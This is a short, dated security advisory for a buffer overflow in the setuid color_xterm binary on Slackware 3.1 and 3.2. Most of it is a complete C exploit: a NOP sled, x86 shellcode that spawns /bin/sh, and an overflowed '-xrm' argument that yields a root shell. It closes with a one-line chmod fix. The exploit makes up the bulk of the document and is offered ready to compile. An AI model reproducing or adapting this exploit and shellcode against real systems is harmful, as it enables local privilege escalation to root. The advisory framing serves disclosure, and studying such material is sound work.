COMMAND

    /usr/X11R6/bin/color_xterm

SYSTEMS AFFECTED

    Slackware 3.1, 3.2

PROBLEM

    A while back the hole in cxterm was pointed out and an exploit was
    posted. The  same problem  exists in  color_xterm as  does in  the
    cxterm chinese emulator for X Windows.

    /* exploit for color_xterm, modified by zgv */
    /* original exploit coded by Ming Zhang for the Chinese Version Of xTerm */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>

    #define BUFFER_SIZE 1024
    #define DEFAULT_OFFSET 50
    #define PATH_COLOR_XTERM "/usr/X11/bin/color_xterm" /* Default Path If Make Install Was Used */
    #define NOP_SIZE 1

    char nop[] = "\x90";

    /* Shell Code For That Ass */
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    /* Lets d0 d1s */
    void main(int argc,char **argv)
    {
       char *buff = NULL;
       unsigned long *addr_ptr = NULL;
       char *ptr = NULL;
       int i,OffSet = DEFAULT_OFFSET;

       if (argc>1) OffSet = atoi(argv[1]);

       buff = malloc(2048);
       if(!buff)
       {
          printf("err0r err0r err0r err0r you g0t gn0 sk1lls er memory\n");
          exit(0);
       }
       ptr = buff;

       for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) {
            memcpy (ptr,nop,NOP_SIZE);
            ptr+=NOP_SIZE;
       }

       for(i=0;i < strlen(shellcode);i++)
          *(ptr++) = shellcode[i];

       addr_ptr = (long *)ptr;
       for(i=0;i < (8/4);i++)
          *(addr_ptr++) = get_sp() + OffSet;
       ptr = (char *)addr_ptr;
       *ptr = 0;
       (void) fprintf(stderr,"bewm bash#\n");

        execl(PATH_COLOR_XTERM, "color_xterm_owns_me", "-xrm",buff, NULL);
    }

SOLUTION

    The quick fix (as stated by Zhang) again is:

        chmod -s /usr/X11R6/bin/color_xterm